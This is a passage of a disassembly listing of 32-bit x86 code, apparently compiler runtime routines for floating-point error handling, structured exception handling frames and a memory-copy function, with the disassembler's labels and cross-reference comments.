XREF: sub_422F50+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_42DBD0 add esp, 1Ch loc_423081: ; CODE XREF: sub_422F50+72j ; sub_422F50+8Dj ... mov esp, ebp pop ebp retn sub_422F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423090 proc near ; CODE XREF: sub_4217C0+Cp ; DATA XREF: .XComp0:off_44FF1Co push ebp mov ebp, esp push ebx push esi push edi call sub_4230D0 call sub_42EB80 mov dword_4E9240, eax call sub_42EB00 fnclex pop edi pop esi pop ebx pop ebp retn sub_423090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230C0 proc near ; DATA XREF: .XComp0:0044FF20o ; .XComp0:0044FF24o push ebp mov ebp, esp pop ebp retn sub_4230C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230D0 proc near ; CODE XREF: sub_423090+6p push ebp mov ebp, esp mov off_452898, offset sub_42F270 mov off_45289C, offset sub_42EC80 mov off_4528A0, offset sub_42ED90 mov off_4528A4, offset sub_42EBD0 mov off_4528A8, offset sub_42ED60 mov off_4528AC, offset sub_42F270 pop ebp retn sub_4230D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4E923C mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4E923C, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42313C proc near ; CODE XREF: sub_41017F+1Cp ; sub_41017F+58p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_42313C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_423170(double) sub_423170 proc near ; CODE XREF: sub_4101EB+8Dp var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_44FF28 push eax call sub_42EA40 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_42322B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42E840 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_423202 cmp [ebp+var_10], 2 jle short loc_4231CE cmp [ebp+var_10], 3 jz short loc_4231E7 jmp short loc_423202 ; --------------------------------------------------------------------------- loc_4231CE: ; CODE XREF: sub_423170+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42EA40 add esp, 8 fld [ebp+arg_0] jmp loc_4232A1 ; --------------------------------------------------------------------------- loc_4231E7: ; CODE XREF: sub_423170+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_42DB00 add esp, 10h jmp loc_4232A1 ; --------------------------------------------------------------------------- loc_423202: ; CODE XREF: sub_423170+4Ej ; sub_423170+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_43ED28 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_42DBD0 add esp, 1Ch jmp short loc_4232A1 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_423170+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_42DAE0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_423261 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42EA40 add esp, 8 fld [ebp+var_8] jmp short loc_4232A1 ; --------------------------------------------------------------------------- loc_423261: ; CODE XREF: sub_423170+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_423281 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_42EA40 add esp, 8 fld [ebp+var_8] jmp short loc_4232A1 ; --------------------------------------------------------------------------- loc_423281: ; CODE XREF: sub_423170+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_42DBD0 add esp, 1Ch loc_4232A1: ; CODE XREF: sub_423170+72j ; sub_423170+8Dj ... mov esp, ebp pop ebp retn sub_423170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232B0 proc near ; CODE XREF: sub_42F9A0+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_4232B0 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4232F0 proc near ; CODE XREF: sub_42FE80+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4232F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423300 proc near ; CODE XREF: sub_42FC00+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_423300 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423310 proc near ; CODE XREF: sub_42FC00+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_423310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_423320 proc near ; CODE XREF: sub_423570+66p ; sub_42F9A0+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_42334C push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_43D66C sub_423320 endp ; --------------------------------------------------------------------------- loc_42334C: ; DATA XREF: sub_423320+12o mov eax, [ebp+0Ch] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+0Ch] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423380 proc near ; CODE XREF: .XComp0:0043DBD5j ; .XComp0:0043DBF1j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F300 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423380 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_42F870 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233F0 proc near ; CODE XREF: sub_42FA60+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_423460 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_42FF60 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4233F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423460 proc near ; DATA XREF: sub_4233F0+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_42F300 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_423460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234A0 proc near ; CODE XREF: sub_42F690+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_423570 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_42353C mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_42B630 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_42353C: ; DATA XREF: sub_4234A0+4Bo cmp [ebp+var_4], 0 jz short loc_423559 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_423562 ; --------------------------------------------------------------------------- loc_423559: ; CODE XREF: sub_4234A0+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_423562: ; CODE XREF: sub_4234A0+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423570 proc near ; DATA XREF: sub_4234A0+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_423595 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 jmp short loc_4235EC ; --------------------------------------------------------------------------- loc_423595: ; CODE XREF: sub_423570+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_42F300 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_4235DB mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_423320 ; --------------------------------------------------------------------------- loc_4235DB: ; CODE XREF: sub_423570+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_4235EC: ; CODE XREF: sub_423570+23j pop edi pop esi pop ebx pop ebp retn sub_423570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423600 proc near ; CODE XREF: sub_42F3F0+135p ; sub_42F690+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_423659 loc_42361E: ; CODE XREF: sub_423600+54j cmp esi, 0FFFFFFFFh jnz short loc_423628 call sub_430060 loc_423628: ; CODE XREF: sub_423600+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp ecx, [eax+4] jle short loc_42363F cmp ecx, [eax+8] jle short loc_423644 loc_42363F: ; CODE XREF: sub_423600+38j cmp esi, 0FFFFFFFFh jnz short loc_42364F loc_423644: ; CODE XREF: sub_423600+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_42364F: ; CODE XREF: sub_423600+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_42361E mov eax, [ebp+arg_0] loc_423659: ; CODE XREF: sub_423600+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_42366D cmp esi, edi jbe short loc_423672 loc_42366D: ; CODE XREF: sub_423600+67j call sub_430060 loc_423672: ; CODE XREF: sub_423600+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_423600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_423690 proc near ; CODE XREF: sub_425A74+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4236A8 push [ebp+arg_0] call sub_43D66C sub_423690 endp ; =============== S U B R O U T I N E ======================================= sub_4236A8 proc near ; DATA XREF: sub_423690+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4236A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4236B0 proc near ; DATA XREF: sub_4236D2+Ao ; sub_42373A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4236D1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4236D1: ; CODE XREF: sub_4236B0+10j retn sub_4236B0 endp ; =============== S U B R O U T I N E ======================================= sub_4236D2 proc near ; CODE XREF: sub_425A74+67p ; sub_425A74+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4236B0 push large dword ptr fs:0 mov large fs:0, esp loc_4236EF: ; CODE XREF: sub_4236D2:loc_42372Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_42372C cmp esi, [esp+1Ch+arg_4] jz short loc_42372C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_42372A push 101h mov eax, [ebx+esi*4+8] call sub_423766 call dword ptr [ebx+esi*4+8] loc_42372A: ; CODE XREF: sub_4236D2+44j jmp short loc_4236EF ; --------------------------------------------------------------------------- loc_42372C: ; CODE XREF: sub_4236D2+2Aj ; sub_4236D2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4236D2 endp ; =============== S U B R O U T I N E ======================================= sub_42373A proc near ; CODE XREF: sub_42FB3D+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4236B0 jnz short locret_42375C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_42375C mov eax, 1 locret_42375C: ; CODE XREF: sub_42373A+10j ; sub_42373A+1Bj retn sub_42373A endp ; =============== S U B R O U T I N E ======================================= sub_42375D proc near ; CODE XREF: sub_42FF60+1Ep ; sub_42FF60+40p push ebx push ecx mov ebx, offset dword_44FF2C jmp short loc_423770 sub_42375D endp ; =============== S U B R O U T I N E ======================================= sub_423766 proc near ; CODE XREF: sub_4236D2+4Fp ; sub_425A74+78p push ebx push ecx mov ebx, offset dword_44FF2C mov ecx, [ebp+8] loc_423770: ; CODE XREF: sub_42375D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_423766 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423780 proc near ; CODE XREF: sub_4101EB+5p ; sub_4103B1+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_423780 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237A0 proc near ; CODE XREF: sub_410DDE+Cp ; sub_4268C0+590p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4237C0 cmp edi, eax jb loc_423938 loc_4237C0: ; CODE XREF: sub_4237A0+16j test edi, 3 jnz short loc_4237DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4237FC rep movsd jmp off_4238E8[edx*4] ; --------------------------------------------------------------------------- loc_4237DC: ; CODE XREF: sub_4237A0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4237F4 and eax, 3 add ecx, eax jmp dword ptr loc_4237FC+4[eax*4] ; --------------------------------------------------------------------------- loc_4237F4: ; CODE XREF: sub_4237A0+46j jmp dword ptr loc_4238F8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4237FC: ; CODE XREF: sub_4237A0+31j ; sub_4237A0+8Ej ... jmp off_42387C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_423810 dd offset loc_42383C ; --------------------------------------------------------------------------- pusha cmp [edx+0], al loc_423810: ; DATA XREF: sub_4237A0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4237FC rep movsd jmp off_4238E8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_42383C: ; DATA XREF: sub_4237A0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4237FC rep movsd jmp off_4238E8[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4237FC rep movsd jmp off_4238E8[edx*4] ; --------------------------------------------------------------------------- align 4 off_42387C dd offset loc_4238DF ; DATA XREF: sub_4237A0:loc_4237FCr dd offset loc_4238CC dd offset loc_4238C4 dd offset loc_4238BC dd offset loc_4238B4 dd offset loc_4238AC dd offset loc_4238A4 dd offset loc_42389C ; --------------------------------------------------------------------------- loc_42389C: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4238A4: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4238AC: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4238B4: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4238BC: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4238C4: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4238CC: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4238DF: ; CODE XREF: sub_4237A0:loc_4237FCj ; DATA XREF: sub_4237A0:off_42387Co jmp off_4238E8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4238E8 dd offset loc_4238F8 ; DATA XREF: sub_4237A0+35r ; sub_4237A0+92r ... dd offset loc_423900 dd offset loc_42390C dd offset loc_423920 ; --------------------------------------------------------------------------- loc_4238F8: ; CODE XREF: sub_4237A0+35j ; sub_4237A0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_423900: ; CODE XREF: sub_4237A0+35j ; sub_4237A0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42390C: ; CODE XREF: sub_4237A0+35j ; sub_4237A0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_423920: ; CODE XREF: sub_4237A0+35j ; sub_4237A0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423938: ; CODE XREF: sub_4237A0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_42396C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_423960 std rep movsd cld jmp off_423A80[edx*4] ; --------------------------------------------------------------------------- align 10h loc_423960: ; CODE XREF: sub_4237A0+1B1j ; sub_4237A0+208j ... neg ecx jmp off_423A30[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42396C: ; CODE XREF: sub_4237A0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_423984 and eax, 3 sub ecx, eax jmp dword ptr loc_423984+4[eax*4] ; --------------------------------------------------------------------------- loc_423984: ; CODE XREF: sub_4237A0+1D6j ; DATA XREF: sub_4237A0+1DDr jmp off_423A80[ecx*4] ; --------------------------------------------------------------------------- align 4 cwde cmp [edx+0], eax mov eax, 0E0004239h cmp [edx+0], eax mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_423960 std rep movsd cld jmp off_423A80[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_423960 std rep movsd cld jmp off_423A80[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_423960 std rep movsd cld jmp off_423A80[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_423A34 dd offset loc_423A3C dd offset loc_423A44 dd offset loc_423A4C dd offset loc_423A54 dd offset loc_423A5C dd offset loc_423A64 off_423A30 dd offset loc_423A77 ; DATA XREF: sub_4237A0+1C2r ; --------------------------------------------------------------------------- loc_423A34: ; DATA XREF: sub_4237A0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_423A3C: ; DATA XREF: sub_4237A0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_423A44: ; DATA XREF: sub_4237A0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_423A4C: ; DATA XREF: sub_4237A0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_423A54: ; DATA XREF: sub_4237A0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_423A5C: ; DATA XREF: sub_4237A0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_423A64: ; DATA XREF: sub_4237A0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_423A77: ; CODE XREF: sub_4237A0+1C2j ; DATA XREF: sub_4237A0:off_423A30o jmp off_423A80[edx*4] ; --------------------------------------------------------------------------- align 10h off_423A80 dd offset loc_423A90 ; DATA XREF: sub_4237A0+1B7r ; sub_4237A0:loc_423984r ... dd offset loc_423A98 dd offset loc_423AA8 dd offset loc_423ABC ; --------------------------------------------------------------------------- loc_423A90: ; CODE XREF: sub_4237A0+1B7j ; sub_4237A0:loc_423984j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423A98: ; CODE XREF: sub_4237A0+1B7j ; sub_4237A0:loc_423984j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423AA8: ; CODE XREF: sub_4237A0+1B7j ; sub_4237A0:loc_423984j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423ABC: ; CODE XREF: sub_4237A0+1B7j ; sub_4237A0:loc_423984j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4237A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AE0 proc near ; CODE XREF: sub_410F5A+Ap ; sub_41CC78+E9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_423AF2 jmp loc_423B7A ; --------------------------------------------------------------------------- loc_423AF2: ; CODE XREF: sub_423AE0+Bj push 9 call sub_425990 add esp, 4 mov eax, 